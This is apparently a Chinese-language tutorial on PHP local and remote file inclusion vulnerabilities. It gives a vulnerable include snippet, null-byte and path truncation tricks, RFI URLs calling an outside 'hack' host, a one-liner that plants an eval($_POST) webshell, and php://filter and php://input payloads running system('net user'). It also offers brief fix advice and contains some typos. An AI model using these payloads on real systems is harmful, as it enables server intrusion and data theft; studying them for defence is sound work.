大多數Web語言都可以使用文件包含操作,其中PHP語言所提供的文件包含功能太強大、太靈活,所以包含漏洞經常出現在PHP語言中。
1 PHP文件包含
1.1 原理
PHP中提供了四個文件包含的函數,分別是include()、include_once()、 require()和require_ once()。這四個函數都可以進行文件包含,但作用卻不一樣,其區別如下:
●require 找不到被包含的文件時會產生致命錯誤(E COMPILE ERROR),並停止腳本;
●include 找不到被包含的文件時只會產生警告(E _WARNING),腳本將繼續執行:
●include_ once:此語句和include()語句類似,唯區別是 如果該文件中的代碼已經被包含,則不會再次包含;
●require _once: 此行語句和require()語句類似, 唯一 區別是如果該文件中的代碼已經被包含,則不會再次包含。
當使用這4個函數包含一個新的文件時,該文件將作爲PHP代碼執行,PHP內核並不會在意該被包含的文件是什麼類型。所以如果被包含的是txt文件、圖片文件、遠程URL,也都將作爲PHP代碼執行。這一特性,在實施攻擊時將非常有用。
1.2 本地文件包含LFI
<?php
include($ GET[test]) ;
?>
則可以利用http://xxx.com/test=C:/WWWRooot/phpinfo.php訪問本地的任意文件。
當然本地文件包含通常要結合截斷攻擊和任意目錄遊覽攻擊。
截斷攻擊:
當PHP版本小於5.3.4時,可以使用%00階段後面的字符串,如test=C:/WWWRooot/phpinfo.php%00
PHP語言需要使用底層的C語言進行處理,C語言中的字符串結尾有個’/0’字符,作爲階段用。
還可以使用目錄截斷,操作系統對目錄最大長度的限制,可以不需要0字節而達到截斷的目的。目錄字符串,在Windows下256字節、Linux 下4096字節時會達到最大值,最大值長度之後的字符將被丟棄。如何構造出
./././././././././././././abc
或者
/////////////////abc
或者
. ./1/abc/../1/abc/../1/abc
目錄遍歷:
使用了././這樣的方式來返回到上層目錄中,這種方式又被稱爲“目錄遍歷”(Path Traversal)。常見的目錄遍歷漏洞,還可以通過不同的編碼方式來實現:
在Windows下多個目錄應當用分號隔開,在Linux下則用冒號隔開。
修復方式:
要解決文件包含漏洞,應該儘量避免包含動態的變量,尤其是用戶可以控制的變量。一種變通方式,則是使用switch枚舉。
1.3 遠程文件包含
allow_url_fopen = On
,該選項爲on便是激活了 URL 形式的 fopen 封裝協議使得可以訪問 URL 對象文件等。
allow_url_include:On,該選項爲on便是允許 包含URL 對象文件等。
兩個配置選項均需要爲On,才能遠程包含文件成功。
include/require函數是可以加載遠程文件的,這種漏洞被稱爲遠程文件包含漏洞(Remote File Inclusion,簡稱RFI)。
則可以利用http://xxx.com/test=http://hack:80/write.txt訪問遠程的任意文件。
繞過姿勢
問號繞過:http://xxx.com/test=http://hack:80/write.txt?
#號繞過:http://xxx.com/test=http://hack:80/write.txt%23
空格:http://xxx.com/test=http://hack:80/write.txt%20
BUff跑
2 文件包含的簡單利用
1)讀取敏感文件
2)遠程包含shell
如果目標主機allow_ _url fopen 選項是激活的,就可以嘗試遠程包含一句話木馬,如:http://www.2cto.com/echo.txt,代碼如下:
<? fputs (fopen ("shell.php", "w"),
"<?php eval($_ POST[xxser]);?>") ?>
訪問:
htp://www.xxser.com/Index.php?page-ttp://www.2cto.com/echo.txt,將會在Index.php所在的目錄下生成shell.php,內容爲:<?php eval ($_ POST[xxser]); ?>
3)本地包含配合文件上傳
4)使用PHP封裝協議
PHP 帶有很多內置 URL 風格的封裝協議,可用於類似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系統函數。 除了這些封裝協議,還能通過 stream_wrapper_register() 來註冊自定義的封裝協議。
讀取
page=php://filter/read=convert.base64-encode/resource config.php
寫入
在allow_url_include;爲On時纔可以使用, 構造URL:
http://www.xxser.com/index.php?page= php://input,並且POST方式提交數據爲: <?php system('net user');?>。
5)包含日誌
Metasploit中包含了一個腳本自動化完成包含日誌文件的攻擊。